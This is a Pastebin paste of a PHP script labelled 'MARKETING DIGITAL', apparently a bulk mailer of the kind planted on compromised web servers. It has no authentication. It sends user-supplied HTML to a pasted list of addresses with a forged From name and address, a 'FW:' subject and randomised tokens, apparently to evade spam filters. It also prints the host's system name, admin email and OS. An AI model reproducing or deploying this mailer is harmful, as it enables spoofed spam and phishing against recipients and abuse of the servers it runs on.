PalmaSolutions

enmkt2.php

Oct 8th, 2018
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.87 KB | None | 0 0
  1. <?php
  2. $testa = $_POST['veio'];
  3. if($testa != "") {
  4.     $message = $_POST['html'];
  5.     $subject = $_POST['assunto'];
  6.     $nome = $_POST['nome'];
  7.     $de = $_POST['de'];
  8.     $to = $_POST['emails'];
  9.     $host = "<font color='#FFFFFF'>".$_SERVER["HTTP_HOST"]." </font>";
  10.     $email = explode("\n", $to);
  11.     $message = stripslashes($message);
  12.  
  13.     $i = 0;
  14.     $count = 1;
  15.     while($email[$i]) {
  16.     $aux = explode(';',$email[$i]);
  17.     $dataHora = date("d/m/Y h:i:s");
  18.     $boundary = rand(0,999999999999);
  19.     $codig  = "!$boundary\n";  
  20.    
  21.     @$temporario = $aux[0];
  22.     @$message = stripslashes($message);
  23.    
  24.    
  25.     @$rnd = rand(10000000, 99999999);
  26.     @$msgy = str_replace("%email%", $temporario, $message);
  27.     @$msgx = str_replace("%2%", $rnd, $msgy);
  28.     @$msgz = str_replace("%0%", $aux[1], $msgx);
  29.     @$msga = str_replace("%1%", $aux[2], $msgz);
  30.     @$msgb = str_replace("%1%", $aux[1], $subject);
  31.     @$de = str_replace("%r%", $rnd, $de);
  32.    
  33.     @$headers  = "MIME-Version: 1.0\n";
  34.         @$headers .= "Content-Type: text/html; charset=iso-8859-1\n";
  35.         @$headers .= "Content-Transfer-Encoding: quoted-printable\n";
  36.     @$headers .= "From: ".$nome." <".$de.">\r\n";
  37.        
  38.     if(mail($temporario, $msgb.$codig, $msga.$dataHora, $headers))
  39.     echo '<font color=blue>( $count ) <b><font color=black>ENVIADO '.($i+1).' </font><email>'.$email[$i].'</email></b><br><hr>';
  40.     else
  41.     echo '<font color=black>( $count ) <b><font color=red>FALHOU '.($i+1).' </font><email>'.$email[$i].'</email></b> <br><hr>';
  42.     $i++;
  43.     $count++;
  44.     }
  45.     $count--;
  46.     echo "[Fim do Envio]";
  47.     if($ok == "ok")
  48.     echo "[Fim do Envio]";
  49. }
  50. ?>
  51.  
  52.  
  53. <head>
  54. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  55. <title>MARKETING DIGITAL</title>
  56. <style type="text/css">
  57. .style1 {
  58.     font-family: Verdana;
  59. }
  60. .style2 {
  61.     text-align: center;
  62.     font-size: 14px;
  63.     color: #000;
  64.     font-weight: bold;
  65.     font-style: italic;
  66.     font-family: Verdana;
  67. }
  68. .style3 {
  69.     font-family: Verdana;
  70.     font-style: italic;
  71.     font-weight: bold;
  72.     font-size: 36px;
  73.     color: #000099;
  74. }
  75. </style>
  76. </head>
  77.  
  78. <body>
  79. <p>
  80. <span style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
  81. <form action="" method="post" enctype="multipart/form-data" name="form1">
  82.   <span class="style1">
  83.   <input type="hidden" name="veio" value="sim" />
  84.     </span>
  85. </span>
  86. </p>
  87. <table width="720" height="496" border="0">
  88.   <tr>
  89.     <td><p style="text-align: center; " class="style3">MARKETING DIGITAL</p>
  90.     <p class="style2">A
  91.       <input name="assunto" type="text"class="normal" id="assunto" style="width:88%" size="1" value="FW:" />
  92.     </p>
  93.     <p class="style2">
  94.     N:
  95.       <input name="nome" type="text"class="normal" id="assunto0" style="width:88%" size="1" />
  96.     </p>
  97.     <p class="style2">R:
  98.       <input name="de" type="text"class="normal" id="de" style="width:88%" size="1" value="aviso" />
  99.     </p>
  100.     <p class="style2">H:
  101.       <textarea name="html" style="width:40%" rows="8" wrap="virtual" class="normal" id="html" cols="1">Oi, tudo bem?!</textarea>
  102.       *.*Lista
  103.       <textarea name="emails" style="width:40%" rows="8" wrap="virtual" class="normal" id="emails" cols="1">[email protected]
  104.     </p>
  105.     <p class="style2">
  106.       <input type="submit" name="Submit" id="enviar" value="Enviar">
  107.     </p>
  108.     <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;" class="style1">
  109.     &nbsp;</p>
  110.     <p style="text-align: center; font-size: 14px; color: #000; font-weight: bold; font-style: italic;" class="style1">
  111.     &nbsp;</p>
  112.     <p style="text-align: left; font-size: 14px; color: #000; font-weight: bold; font-style: italic;">
  113.     <span class="style1">Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br />
  114. Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?></span> <span class="style1">&nbsp;<br><?php echo $OS = @PHP_OS; ?></span></p></td>
  115.   </tr>
  116. </table>
  117. </body>
  118. </html>
Advertisement
Add Comment
Please, Sign In to add comment